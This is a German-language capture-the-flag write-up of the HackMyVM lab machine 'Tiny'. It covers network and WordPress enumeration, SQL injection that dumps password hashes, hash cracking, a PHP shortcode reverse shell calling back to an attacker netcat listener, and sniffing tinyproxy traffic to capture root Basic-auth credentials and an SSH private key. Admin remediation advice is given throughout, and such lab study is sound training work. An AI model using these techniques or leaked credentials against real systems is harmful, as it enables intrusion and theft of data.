Tiny - HackMyVM - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
vi
nmap
nikto
dirb
gobuster
wpscan
wfuzz
sqlmap (implizit)
john
searchsploit (implizit)
python
msfconsole
meterpreter
nc (netcat)
head
sudo
ls
cd
find
getcap
cat
grep
tinyproxy (Service)
socat
curl
ssh
cp
chmod
id
bash
zsh (lokal)

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.118	08:00:27:42:ac:b4	PCS Systemtechnik GmbH
                    

**Analyse:** Mit `arp-scan -l` wird das lokale Netzwerk nach aktiven Hosts durchsucht. Ein Host mit der IP `192.168.2.118` und der MAC `08:00:27:42:ac:b4` (VirtualBox OUI) wird gefunden.

**Bewertung:** Das Zielsystem wurde identifiziert. IP-Adresse ist `192.168.2.118`.

**Empfehlung (Pentester):** Nmap-Scan auf `192.168.2.118` durchführen.
**Empfehlung (Admin):** Netzwerk-Monitoring zur Erkennung unbekannter Geräte.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
# Eintrag hinzugefügt:
127.0.0.1	localhost
192.168.2.118   tiny.hmv
                    

**Analyse:** Der Hostname `tiny.hmv` wird lokal auf die IP des Zielsystems gemappt.

**Bewertung:** Standardvorgehen zur Vereinfachung der Ansprache, insbesondere bei Webanwendungen.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.118 -p- | grep open
22/tcp   open  ssh        OpenSSH 9.2p1 Debian 2 (protocol 2.0)
80/tcp   open  http       Apache httpd 2.4.57 ((Debian))
8888/tcp open  http-proxy tinyproxy 1.11.1
                    
┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.118 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-08 16:06 CET
Nmap scan report for tiny.hmv (192.168.2.118)
Host is up (0.00031s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: [...]
80/tcp   open  http       Apache httpd 2.4.57 ((Debian))
| http-robots.txt: 15 disallowed entries
| /wp-admin/ /cgi-bin/ /private/ /temp/ /backup/ /old/
| /test/ /dev/ / /misc/ /downloads/ /doc/ /documents/
|_/restricted/ /confidential/
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Blog
|_http-generator: WordPress 6.4.2
8888/tcp open  http-proxy tinyproxy 1.11.1
|_http-server-header: tinyproxy/1.11.1
|_http-title: 403 Access denied
MAC Address: 08:00:27:42:AC:B4 (Oracle VirtualBox virtual NIC)
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
                    

**Analyse:** Nmap-Scans identifizieren drei offene Ports: * **Port 22 (SSH):** OpenSSH 9.2p1 (Debian). Aktuelle Version. * **Port 80 (HTTP):** Apache 2.4.57 (Debian), der eine WordPress 6.4.2 Seite mit dem Titel "Blog" hostet. Die `robots.txt` listet viele Standard- und einige potenziell interessante Verzeichnisse auf, die gesperrt sind. * **Port 8888 (HTTP Proxy):** tinyproxy 1.11.1. Gibt "403 Access denied" zurück, was bedeutet, dass der Proxy Anfragen vom Angreifer-System nicht erlaubt.

**Bewertung:** Das Hauptziel ist die WordPress-Seite auf Port 80. Die `robots.txt` gibt Hinweise auf zu untersuchende (oder zu vermeidende) Pfade. Der tinyproxy auf Port 8888 ist interessant, aber momentan nicht direkt zugänglich. SSH benötigt Credentials.

**Empfehlung (Pentester):** 1. **WordPress (Port 80):** Mit `wpscan` oder manuell nach Benutzern, Plugins, Themes und Schwachstellen suchen. Die in `robots.txt` genannten Pfade besonders beachten (oder ignorieren, je nach Zielsetzung). 2. **Tinyproxy (Port 8888):** Konfiguration suchen (evtl. über LFI/RCE auf Port 80 zugänglich), um die erlaubten IPs oder mögliche Schwachstellen in tinyproxy 1.11.1 zu finden. 3. **SSH (Port 22):** Zurückstellen.
**Empfehlung (Admin):** 1. **WordPress:** Aktuell halten, nicht benötigte Plugins/Themes entfernen, starke Passwörter verwenden, Benutzerrechte minimieren. `robots.txt` sinnvoll gestalten (keine sensiblen Pfade verstecken, die serverseitig geschützt sein sollten). 2. **Tinyproxy:** Zugriff auf den Proxy nur für autorisierte Clients/Netzwerke erlauben. Proxy aktuell halten. Logging aktivieren. 3. **Apache/SSH:** Standard-Härtung.

Web Enumeration

Port 80 (Apache/WordPress)

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.118
- Nikto v2.5.0
[...]
+ Target IP:          192.168.2.118
[...]
+ Server: Apache/2.4.57 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: Drupal Link header found with value: ; rel="https://api.w.org/". [...] (False Positive, ist WordPress)
+ /: The X-Content-Type-Options header is not set. [...]
+ /index.php?: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ /robots.txt: contains 18 entries which should be manually viewed. [...]
+ /: Web Server returns a valid response with junk HTTP methods [...]
+ /cgi-bin/: CGI Directory found. [...]
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ /wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. [...]
+ /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable. [...]
+ /wp-login.php: Wordpress login found.
[...]
+ 1 host(s) tested
                     

**Analyse:** `nikto` wird auf Port 80 ausgeführt. Es identifiziert den Apache-Server und bestätigt die WordPress-Installation. Es meldet mehrere Standard-Findings für WordPress und Webserver-Konfigurationen: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Vorhandensein von `robots.txt`, `license.txt`, `readme.txt`. * Standard-WordPress-Pfade (`/wp-login.php`, `/wp-content/uploads/`, `/cgi-bin/`). * Directory Indexing für `/wp-content/uploads/`. * Ein Cookie ohne `HttpOnly`-Flag. Die Drupal-Header-Meldung ist wahrscheinlich ein False Positive.

**Bewertung:** Bestätigt die WordPress-Installation und hebt einige allgemeine Konfigurationspunkte hervor. Das Directory Indexing für `/wp-content/uploads/` ist interessant, da es das Durchsuchen hochgeladener Dateien ermöglicht. Keine kritischen Schwachstellen direkt durch Nikto gefunden.

**Empfehlung (Pentester):** Das `/wp-content/uploads/`-Verzeichnis manuell durchsuchen. Die fehlenden Sicherheitsheader zur Kenntnis nehmen. WPScan für detailliertere WordPress-Analyse verwenden.
**Empfehlung (Admin):** Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy` etc.) implementieren. Directory Indexing für `/wp-content/uploads/` und andere Verzeichnisse deaktivieren. Cookies mit `HttpOnly`- und `Secure`-Flags versehen.

┌──(root㉿cyber)-[~] └─# dirb http://tiny.hmv/
[...]
+ http://tiny.hmv/index.php (CODE:301|SIZE:0)
==> DIRECTORY: http://tiny.hmv/javascript/
+ http://tiny.hmv/robots.txt (CODE:200|SIZE:815)
+ http://tiny.hmv/server-status (CODE:403|SIZE:273)
==> DIRECTORY: http://tiny.hmv/wp-admin/
==> DIRECTORY: http://tiny.hmv/wp-content/
==> DIRECTORY: http://tiny.hmv/wp-includes/
+ http://tiny.hmv/xmlrpc.php (CODE:405|SIZE:42)
[...]
---- Entering directory: http://tiny.hmv/wp-admin/ ----
[...]
---- Entering directory: http://tiny.hmv/wp-content/ ----
[...]
---- Entering directory: http://tiny.hmv/wp-includes/ ----
[...]
                     
┌──(root㉿cyber)-[~] └─# gobuster dir -u http://tiny.hmv -x txt,php,[...] -w "/usr/share/seclists/[...]" -b '403,404' -e --no-error -k
[...]
http://tiny.hmv/index.php            (Status: 301) [Size: 0] [--> http://tiny.hmv/]
http://tiny.hmv/wp-content           (Status: 301) [Size: 309] [--> http://tiny.hmv/wp-content/]
http://tiny.hmv/license.txt          (Status: 200) [Size: 19915]
http://tiny.hmv/wp-login.php         (Status: 200) [Size: 5714]
http://tiny.hmv/wp-includes          (Status: 301) [Size: 310] [--> http://tiny.hmv/wp-includes/]
http://tiny.hmv/javascript           (Status: 301) [Size: 309] [--> http://tiny.hmv/javascript/]
http://tiny.hmv/readme.html          (Status: 200) [Size: 7399]
http://tiny.hmv/robots.txt           (Status: 200) [Size: 815]
http://tiny.hmv/wp-trackback.php     (Status: 200) [Size: 135]
http://tiny.hmv/wp-admin             (Status: 301) [Size: 307] [--> http://tiny.hmv/wp-admin/]
http://tiny.hmv/xmlrpc.php           (Status: 405) [Size: 42]
http://tiny.hmv/wp-signup.php        (Status: 302) [Size: 0] [--> http://tiny.hmv/wp-login.php?action=register]
[...]
                    

**Analyse:** Sowohl `dirb` als auch `gobuster` werden zur Verzeichniserkennung eingesetzt. Sie finden die erwarteten WordPress-Standardpfade (`/wp-admin`, `/wp-content`, `/wp-includes`), die Login-Seite (`/wp-login.php`), Registrierungsseite (`/wp-signup.php`), `xmlrpc.php`, `robots.txt`, `readme.html`, `license.txt` etc. `/server-status` ist vorhanden, aber nicht zugänglich (403).

**Bewertung:** Bestätigt die WordPress-Struktur. Keine ungewöhnlichen oder direkt ausnutzbaren Pfade gefunden. Die Registrierung scheint aktiviert zu sein (`wp-signup.php` leitet dorthin um).

**Empfehlung (Pentester):** WPScan für gezielte WordPress-Enumeration (Benutzer, Plugins, Themes, Version) verwenden.
**Empfehlung (Admin):** Den Zugriff auf `/server-status` korrekt konfigurieren oder deaktivieren. Die Benutzerregistrierung deaktivieren, falls nicht benötigt. `xmlrpc.php` deaktivieren, wenn es nicht verwendet wird, da es oft für Brute-Force- oder DDoS-Angriffe missbraucht wird.

# Manuelle Prüfung von http://tiny.hmv/?p=1
Published 30 September 2023 By admin
                    

**Analyse:** Das manuelle Aufrufen eines Posts (`/?p=1`) zeigt, dass der Autor der Benutzer `admin` ist.

**Bewertung:** Bestätigt den Benutzernamen `admin`.

┌──(root㉿cyber)-[~] └─# wpscan --url http://tiny.hmv -e u --api-token RoBo...Y
[...]
[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Display Name (Passive Detection)
[...]
[+] umeko
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[...]
[i] No plugins Found.
[...]
[i] No Config Backups Found.
[...]
                     

**Analyse:** WPScan wird zur Benutzerenumeration (`-e u`) ausgeführt. Es identifiziert erfolgreich die Benutzer `admin` und `umeko`. Es werden keine Plugins oder Konfigurations-Backups gefunden.

**Bewertung:** Zwei gültige Benutzernamen (`admin`, `umeko`) sind nun bekannt. Da keine verwundbaren Plugins/Themes gefunden wurden, ist der nächste logische Schritt ein Passwort-Angriff auf diese Benutzer.

# WPScan Brute-Force Versuch auf umeko (abgebrochen)
[+] Performing password attack on Wp Login against 1 user/s
[...] Trying umeko / samantha [...]
[...] Trying umeko / brandon [...]
^C [...]
Scan Aborted: Canceled by User
                     

**Analyse:** Ein WPScan-Passwortangriff auf den Benutzer `umeko` mit einer Wortliste wird gestartet, aber vom Benutzer abgebrochen (`^C`).

**Bewertung:** Der Brute-Force-Versuch auf `umeko` war (zumindest in diesem Log) nicht erfolgreich.

Port 8888 (tinyproxy)

# Manuelle Prüfung von http://tiny.hmv:8888/
Access denied
The administrator of this proxy has not configured it to service requests from your host.
Generated by tinyproxy version 1.11.1.
                     

**Analyse:** Der direkte Zugriff auf den tinyproxy auf Port 8888 wird verweigert, da die IP des Angreifers nicht in der Konfiguration erlaubt ist.

**Bewertung:** Der Proxy ist für den direkten Angriff von außen nicht nutzbar. Er könnte jedoch von intern (z.B. aus einer Webshell) genutzt werden, um auf Dienste zuzugreifen, die nur auf localhost lauschen, oder um die Konfiguration auf Schwachstellen zu prüfen.

Subdomain Enumeration (wish.tiny.hmv)

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://tiny.hmv" -H "Host: FUZZ.tiny.hmv" --hh 24171 --hc "404"
[...]
Target: http://tiny.hmv/
[...]
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000001:   301        0 L      0 W        0 Ch        "www"
000006244:   200        68 L     132 W      1821 Ch     "wish"
[...]
                     

**Analyse:** `wfuzz` wird für Virtual Host Discovery verwendet (Fuzzing des Host-Headers). Es findet eine Subdomain `wish.tiny.hmv`, die eine andere Antwort (Status 200, 1821 Chars) liefert als die Hauptdomain (deren Größe mit `--hh 24171` ausgeblendet wird).

**Bewertung:** Kritischer Fund! Eine zusätzliche Webanwendung läuft unter `wish.tiny.hmv`. Diese muss separat untersucht werden.

**Empfehlung (Pentester):** 1. Den Hostnamen `wish.tiny.hmv` zur lokalen `/etc/hosts`-Datei hinzufügen. 2. Die Seite `http://wish.tiny.hmv` im Browser untersuchen und auf Schwachstellen prüfen.
**Empfehlung (Admin):** Nicht benötigte Subdomains/virtuelle Hosts deaktivieren. Sicherstellen, dass alle Webanwendungen, auch auf Subdomains, sicher konfiguriert und gepatcht sind.

# Manuelle Prüfung von http://wish.tiny.hmv/
# Quellcode zeigt Formular:
form method="post" action="/index.php"
    
input type="text" id="username" name="username"


input type="submit" value="Soumettre" form

**Analyse:** Die Seite `wish.tiny.hmv` enthält ein einfaches Formular mit Feldern für "Username" und "Your wish", das Daten per POST an `/index.php` sendet.

**Bewertung:** Ein einfacher Mechanismus zur Dateneingabe. Die Parameter `username` und `wish` sind potenzielle Eintrittspunkte für Angriffe wie SQL Injection oder Cross-Site Scripting (XSS).

SQL Injection auf wish.tiny.hmv

# POST Request 1 (Normal)
PST /index.php HTTP/1.1
Host: wish.tiny.hmv
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

username=admin&wish=admin

# Response 1 (Normal)
HTTP/1.1 200 OK
[...]
Content-Type: text/html; charset=UTF-8
[...]
    Your wish will soon come true !
[...]

# POST Request 2 (Mit Apostroph)
PST /index.php HTTP/1.1
Host: wish.tiny.hmv
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

username=admin'&wish=admin

# Response 2 (Fehler -> SQLi wahrscheinlich)
HTTP/1.0 500 Internal Server Error
Date: Fri, 08 Dec 2023 15:34:32 GMT
Server: Apache/2.4.57 (Debian)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
                     

**Analyse:** Zwei POST-Anfragen an `/index.php` auf `wish.tiny.hmv` werden gezeigt. Die erste Anfrage mit normalen Daten (`username=admin&wish=admin`) erhält eine normale "200 OK"-Antwort. Die zweite Anfrage fügt ein Apostroph zum `username`-Parameter hinzu (`username=admin'`). Diese Anfrage führt zu einem "500 Internal Server Error".

**Bewertung:** Das unterschiedliche Verhalten bei der Eingabe eines Apostrophs ist ein klassischer Indikator für eine SQL-Injection-Schwachstelle im `username`-Parameter. Das Backend versucht wahrscheinlich, den Benutzernamen direkt in eine SQL-Abfrage einzufügen, was durch das Apostroph zu einem Syntaxfehler führt.

**Empfehlung (Pentester):** Die SQL-Injection-Schwachstelle mit Tools wie `sqlmap` bestätigen und ausnutzen, um Datenbankinformationen (Version, Datenbanken, Tabellen, Benutzer, Hashes) zu extrahieren.
**Empfehlung (Admin):** Die SQL-Injection-Schwachstelle in `/index.php` auf `wish.tiny.hmv` dringend beheben. Parametrisierte Abfragen (Prepared Statements) verwenden, um SQL-Injection zu verhindern. Benutzereingaben immer validieren und sanitisieren.

# Ausgabe von SQLMap / manueller SQLi (Datenbank-Dump)

Database: wish_db
Table: wishs
[17 entries]
+----+---------------+-------------------------------------+
| id | wish          | username                            |
+----+---------------+-------------------------------------+
| 1  | admin\r\n\r\n | admin                               |
[...]
| 14 | admin         | admin);SELECT PG_SLEEP(5)--         | # Time-based SQLi Test
| 15 | admin         | admin;SELECT PG_SLEEP(5)--          | # Time-based SQLi Test
[...]
+----+---------------+-------------------------------------+

# Dump der Tabellen aus einer anderen Datenbank (wordpressdb)
+----------------------------------+
| Tables_in_wordpressdb            |
+----------------------------------+
| wp_commentmeta                   |
| wp_comments                      |
[...]
| wp_users                         |
+----------------------------------+

# Dump der wp_users Tabelle
MariaDB [wordpressdb]> select * from wp_users;
+----+------------+------------------------------------+---------------+-----------------+-----------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email      | user_url        | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-----------------+-----------------+---------------------+---------------------+-------------+--------------+
|  1 | admin      | $P$BwfekymguhBDZWjj2dtDbAFxaT6Y61 | admin         | admin@gmail.com | http://tiny.hmv | 2023-09-30 06:23:59 |                     |           0 | admin        |
|  2 | umeko      | $P$Bvgq8e/R0VX2mXzClIq1Acj39KCAp1 | umeko         | umeko@gmail.com |                 | 2023-09-30 06:29:14 |                     |           0 | umeko        |
+----+------------+------------------------------------+---------------+-----------------+-----------------+---------------------+---------------------+-------------+--------------+
                     

**Analyse:** Die SQL-Injection-Schwachstelle wird ausgenutzt (vermutlich mit `sqlmap`), um Datenbankinhalte zu extrahieren. * Die Datenbank `wish_db` mit der Tabelle `wishs` wird gefunden. Die darin enthaltenen Daten zeigen frühere SQLi-Versuche (z.B. `PG_SLEEP(5)` für PostgreSQL Time-based SQLi, obwohl der Server MariaDB/MySQL zu sein scheint). * Entscheidend: Es gelingt, auf eine *andere* Datenbank namens `wordpressdb` zuzugreifen und die Tabelle `wp_users` zu dumpen. Dies deutet darauf hin, dass der Datenbankbenutzer, der von `wish.tiny.hmv` verwendet wird, auch Leserechte auf die WordPress-Datenbank hat. * Die `wp_users`-Tabelle enthält die Benutzernamen `admin` und `umeko` sowie ihre Passwort-Hashes (`$P$...` -> phpass).

**Bewertung:** Dies ist ein kritischer Erfolg. Die SQLi ermöglichte nicht nur den Zugriff auf die `wish_db`, sondern auch auf die WordPress-Benutzerdatenbank, wodurch die Passwort-Hashes der WP-Benutzer extrahiert werden konnten.

**Empfehlung (Pentester):** Die extrahierten phpass-Hashes für `admin` und `umeko` mit `john` oder `hashcat` versuchen zu knacken.
**Empfehlung (Admin):** 1. SQL-Injection auf `wish.tiny.hmv` beheben. 2. Datenbankberechtigungen überprüfen und nach dem Prinzip der geringsten Rechte vergeben. Der Benutzer für `wish_db` sollte keine Leserechte auf `wordpressdb` haben. Jede Anwendung sollte ihren eigenen, dedizierten Datenbankbenutzer mit minimal notwendigen Rechten haben. 3. Passwörter für `admin` und `umeko` ändern.

Hash Cracking (WordPress Users)

┌──(root㉿cyber)-[~] └─# echo '$P$Bvgq8e/R0VX2mXzClIq1Acj39KCAp1' > hash
# Hash für umeko
┌──(root㉿cyber)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
[...]
fuckit!          (?) # Passwort für umeko
[...]
Session completed.
                     
┌──(root㉿cyber)-[~] └─# echo '$P$BwfekymguhBDZWjj2dtDbAFxaT6Y61' > hash
# Hash für admin
┌──(root㉿cyber)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
[...]
0g 0:00:01:25 DONE (2023-12-08 17:05) 0g/s 166854p/s 166854c/s 166854C/s !!shmoo_50!!..*7¡Vamos!
Session completed. # Kein Passwort gefunden
                     
┌──(root㉿cyber)-[~] └─# john hash --show
0 password hashes cracked, 1 left

**Analyse:** Die beiden extrahierten phpass-Hashes werden mit `john` und `rockyou.txt` angegriffen. * Der Hash für `umeko` wird erfolgreich geknackt: Das Passwort lautet `fuckit!`. * Der Hash für `admin` kann mit dieser Wortliste nicht geknackt werden.

**Bewertung:** Das Passwort für `umeko` ist bekannt. Dies ermöglicht den Login in das WordPress-Backend als `umeko`. Der `admin`-Account bleibt vorerst unzugänglich.

**Empfehlung (Pentester):** Sich als `umeko` mit dem Passwort `fuckit!` im WordPress-Adminbereich (`/wp-admin/`) anmelden und nach Möglichkeiten suchen, Code auszuführen oder weitere Rechte zu erlangen (z.B. Plugin-/Theme-Upload/Editor).
**Empfehlung (Admin):** Das schwache Passwort `fuckit!` für `umeko` sofort ändern. Passwortrichtlinien durchsetzen. Den fehlgeschlagenen Crack für `admin` nicht als Sicherheit werten; das Passwort könnte mit einer größeren Liste oder anderen Regeln knackbar sein - es sollte ebenfalls geändert werden.

Initial Access (POC - WordPress RCE)

**Analyse:** Nach dem Login als `umeko` (Passwort `fuckit!`) wird eine Schwachstelle in einem (nicht namentlich genannten, aber implizierten) "shortcode Plugin" ausgenutzt, um Remote Code Execution zu erlangen. 1. Ein neuer Post oder eine Seite wird erstellt/bearbeitet. 2. Der Autor wird auf `admin` geändert (impliziert, dass `umeko` diese Rechte hat, was ungewöhnlich ist, oder dass `admin` doch kompromittiert wurde - das Log ist hier unklar). 3. Der Code-Editor wird aktiviert. 4. Ein PHP-Reverse-Shell-Payload wird innerhalb eines Shortcode-Tags (`[php]...[/php]`) eingefügt. Der Payload verbindet sich zur Angreifer-IP `192.168.2.199` auf Port `4444`. *Anmerkung: Die IP `192.168.2.199` weicht von der vorherigen Angreifer-IP (`192.168.2.140`) ab.* 5. Der Post/die Seite wird veröffentlicht ("Publish").


# Payload in WordPress Post/Page Editor:
[php]

[/php]
                     

**Bewertung:** Dies ist ein klassischer Weg, um über eine WordPress-Admin-Session RCE zu erlangen, wenn ein verwundbares Plugin oder Theme das Ausführen von PHP über Shortcodes oder eine ähnliche Funktion erlaubt. Die Möglichkeit, den Autor zu ändern, ist ein zusätzlicher Faktor, der untersucht werden sollte.

**Empfehlung (Pentester):** Einen Netcat-Listener auf `192.168.2.199:4444` starten, bevor der Post veröffentlicht wird. Nach dem Veröffentlichen die URL des Posts/der Seite aufrufen, um den Payload zu triggern.
**Empfehlung (Admin):** Das verwundbare "shortcode Plugin" identifizieren und entfernen/updaten. Die Möglichkeit, beliebigen PHP-Code über die WordPress-Oberfläche auszuführen (z.B. via Plugin-/Theme-Editor oder unsichere Shortcodes), deaktivieren (`DISALLOW_FILE_EDIT` in `wp-config.php`). Benutzerrechte überprüfen (darf `umeko` Beiträge als `admin` veröffentlichen?).

┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
# Warten auf Verbindung nach dem Veröffentlichen des Posts...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.118] 59744
www-data@tiny:/var/www/html$ # Shell als www-data erhalten!
                     

**Analyse:** Der Netcat-Listener empfängt die Verbindung vom Zielserver (`192.168.2.118`), nachdem der WordPress-Post veröffentlicht und vermutlich aufgerufen wurde. Die Shell läuft als Benutzer `www-data`.

**Bewertung:** Initial Access als `www-data` erfolgreich über WordPress RCE erreicht.

**Empfehlung (Pentester):** Shell stabilisieren, Enumeration als `www-data` starten.
**Empfehlung (Admin):** WordPress-Installation bereinigen, Schwachstelle beheben.

Privilege Escalation

Enumeration als www-data

www-data@tiny:/var/www/html$ head -n 30 wp-config.php
 php
[...]
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpressdb' );

/** Database username */
define( 'DB_USER', 'wordpressuser' );

/** Database password */
define( 'DB_PASSWORD', '6rt443RKhwTXjWDe' );
[...]
                    

**Analyse:** Die WordPress-Konfigurationsdatei `wp-config.php` wird gelesen. Sie enthält die Zugangsdaten für die MySQL/MariaDB-Datenbank: Benutzer `wordpressuser`, Passwort `6rt443RKhwTXjWDe`, Datenbank `wordpressdb`.

**Bewertung:** Wichtiger Fund. Diese Datenbank-Credentials könnten möglicherweise für andere Dienste oder Benutzer wiederverwendet werden oder direkten Zugriff auf die Datenbank ermöglichen (falls `www-data` sich verbinden kann).

www-data@tiny:/var/www/html$ sudo -l
[sudo] password for www-data: # Passwort unbekannt
sudo: a password is required
                     
www-data@tiny:/var/www/html$ ls /home/
vic
www-data@tiny:/var/www/html$ cd /home/vic/
bash: cd: /home/vic/: Permission denied

**Analyse:** `sudo -l` scheitert, da das Passwort für `www-data` nicht bekannt ist. Im `/home`-Verzeichnis gibt es nur den Benutzer `vic`. `www-data` hat keine Berechtigung, in `vic`s Home-Verzeichnis zu wechseln.

www-data@tiny:/var/www/html$ find / -perm -4000 -ls 2>/dev/null
   914041     88 -rwsr-xr-x   1 root     root        88496 Mar 23  2023 /usr/bin/gpasswd
   914042     68 -rwsr-xr-x   1 root     root        68248 Mar 23  2023 /usr/bin/passwd
   957212    276 -rwsr-xr-x   1 root     root       281624 Jun 27 13:45 /usr/bin/sudo
   917500     48 -rwsr-xr-x   1 root     root        48896 Mar 23  2023 /usr/bin/newgrp
   914039     52 -rwsr-xr-x   1 root     root        52880 Mar 23  2023 /usr/bin/chsh
   918251     72 -rwsr-xr-x   1 root     root        72000 Mar 23  2023 /usr/bin/su
   917654     60 -rwsr-xr-x   1 root     root        59704 Mar 23  2023 /usr/bin/mount
   914038     64 -rwsr-xr-x   1 root     root        62672 Mar 23  2023 /usr/bin/chfn
   917656     36 -rwsr-xr-x   1 root     root        35128 Mar 23  2023 /usr/bin/umount
   929606     52 -rwsr-xr--   1 root     messagebus    51272 Feb  8  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   931821    640 -rwsr-xr-x   1 root     root         653888 Feb  8  2023 /usr/lib/openssh/ssh-keysign
                     
www-data@tiny:/var/www/html$ getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep

**Analyse:** Die Suche nach SUID-Binaries und Capabilities liefert nur Standardergebnisse ohne offensichtlichen Exploit-Vektor für `www-data`.

**Bewertung:** Keine direkten PrivEsc-Möglichkeiten über SUID/Capabilities für `www-data` gefunden. Der Fokus muss auf anderen Wegen liegen, z.B. Ausnutzung des tinyproxy oder Finden von Credentials für `vic`.

Proxy Bypass & SSH Key Leak (vic)

www-data@tiny:/var/www/html$ cat /etc/tinyproxy/tinyproxy.conf | grep -v '#' | grep .
User tinyproxy
Group tinyproxy
Port 8888
Timeout 600
DefaultErrorFile "/usr/share/tinyproxy/default.html"
StatFile "/usr/share/tinyproxy/stats.html"
LogFile "/var/log/tinyproxy/tinyproxy.log"
LogLevel Info
PidFile "/run/tinyproxy/tinyproxy.pid"
Upstream http localhost:1111
MaxClients 100
Allow 127.0.0.1
Allow ::1
Allow 192.168.0.30
ViaProxyName "tinyproxy"
                    

**Analyse:** Die Konfigurationsdatei von tinyproxy wird gelesen. Wichtige Punkte: * Der Proxy läuft auf Port 8888. * Erlaubt sind Zugriffe von `127.0.0.1`, `::1` und `192.168.0.30`. * **Kritisch:** Es gibt eine `Upstream`-Direktive, die den Proxy anweist, Anfragen an `http localhost:1111` weiterzuleiten. Dies bedeutet, der Proxy fungiert als Reverse Proxy oder Gateway zu einem Dienst, der nur auf localhost Port 1111 lauscht.

**Bewertung:** Die `Upstream`-Konfiguration ist der Schlüssel. Indem man eine Anfrage *durch* den Proxy auf Port 8888 sendet, kann man den Dienst erreichen, der *eigentlich* nur auf `localhost:1111` lauscht. Da der Proxy selbst von `127.0.0.1` erreichbar ist, kann `www-data` diesen Mechanismus ausnutzen.

www-data@tiny:/var/www/html$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37724
GET http://127.0.0.1:8000/id_rsa HTTP/1.1
Host: 127.0.0.1:8000
Connection: close
Via: 1.1 tinyproxy (tinyproxy/1.11.1)
Authorization: Basic cm9vdDpRMlg0XQ0V2pz # base64(root:Q2X4]5Vjs)
User-Agent: curl/7.88.1
Accept: */*

                     

**Analyse:** `www-data` startet einen Netcat-Listener auf Port 1111, um die Anfrage abzufangen, die vom tinyproxy (Port 8888) an seinen Upstream (`localhost:1111`) gesendet wird. Eine Anfrage kommt an: * Methode: GET * Ziel: `http://127.0.0.1:8000/id_rsa`. Dies ist die *ursprüngliche* URL, die der Client an den Proxy (Port 8888) gesendet hat. Der Upstream-Eintrag in tinyproxy.conf ist irreführend oder wird hier nicht korrekt angewendet/interpretiert. Der Proxy scheint die Anfrage einfach an `localhost:1111` weiterzuleiten, aber der *Inhalt* der Anfrage zielt auf `127.0.0.1:8000`. * Authentifizierung: Ein Basic-Auth-Header ist vorhanden: `Authorization: Basic cm9vdDpRMlg0XQ0V2pz`. Dekodiert ergibt dies `root:Q2X4]5Vjs`.

**Bewertung:** Der Versuch, den Upstream-Dienst zu verstehen, deckt stattdessen eine andere interessante Information auf: Eine Anfrage, die *durch* den Proxy geht, versucht, `/id_rsa` von einem lokalen Dienst auf Port 8000 mit den Credentials `root:Q2X4]5Vjs` abzurufen. Dies deutet auf einen internen Prozess oder einen anderen Benutzer hin, der versucht, auf diesen Schlüssel zuzugreifen.

www-data@tiny:/tmp$ socat -v tcp-listen:1111 tcp:localhost:8000
> 2023/12/08 17:13:01 [...] length=84 from=0 to=83
GET http://127.0.0.1:8000/id_rsa HTTP/1.1\r
Host: 127.0.0.1:8000\r
[...]
Via: 1.1 tinyproxy (tinyproxy/1.11.1)\r
Authorization: Basic cm9vdDpRMlg0XQ0V2pz\r
[...]
< 2023/12/08 17:13:01 [...] length=2851 from=0 to=2850
HTTP/1.1 200 OK\r
Server: nginx/1.22.1\r
[...]
Content-Type: application/octet-stream\r
Content-Length: 2602\r
[...]
\r
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...]
Rfyuuzx5QjqBAAAAwDZTWnAXApcfvHYZ8hP6zGQybXKbVRW7SgSPjI0rJSvVsoIm/L0NNn
[...]
6IpIiHLRZcy1a50/UAAAARbWlsb3VAcGVybG1hbi5obXYBAg # Schlüssel für milou@perlman.hmv ? (Falsche VM im Kommentar?)
-----END OPENSSH PRIVATE KEY-----
                     

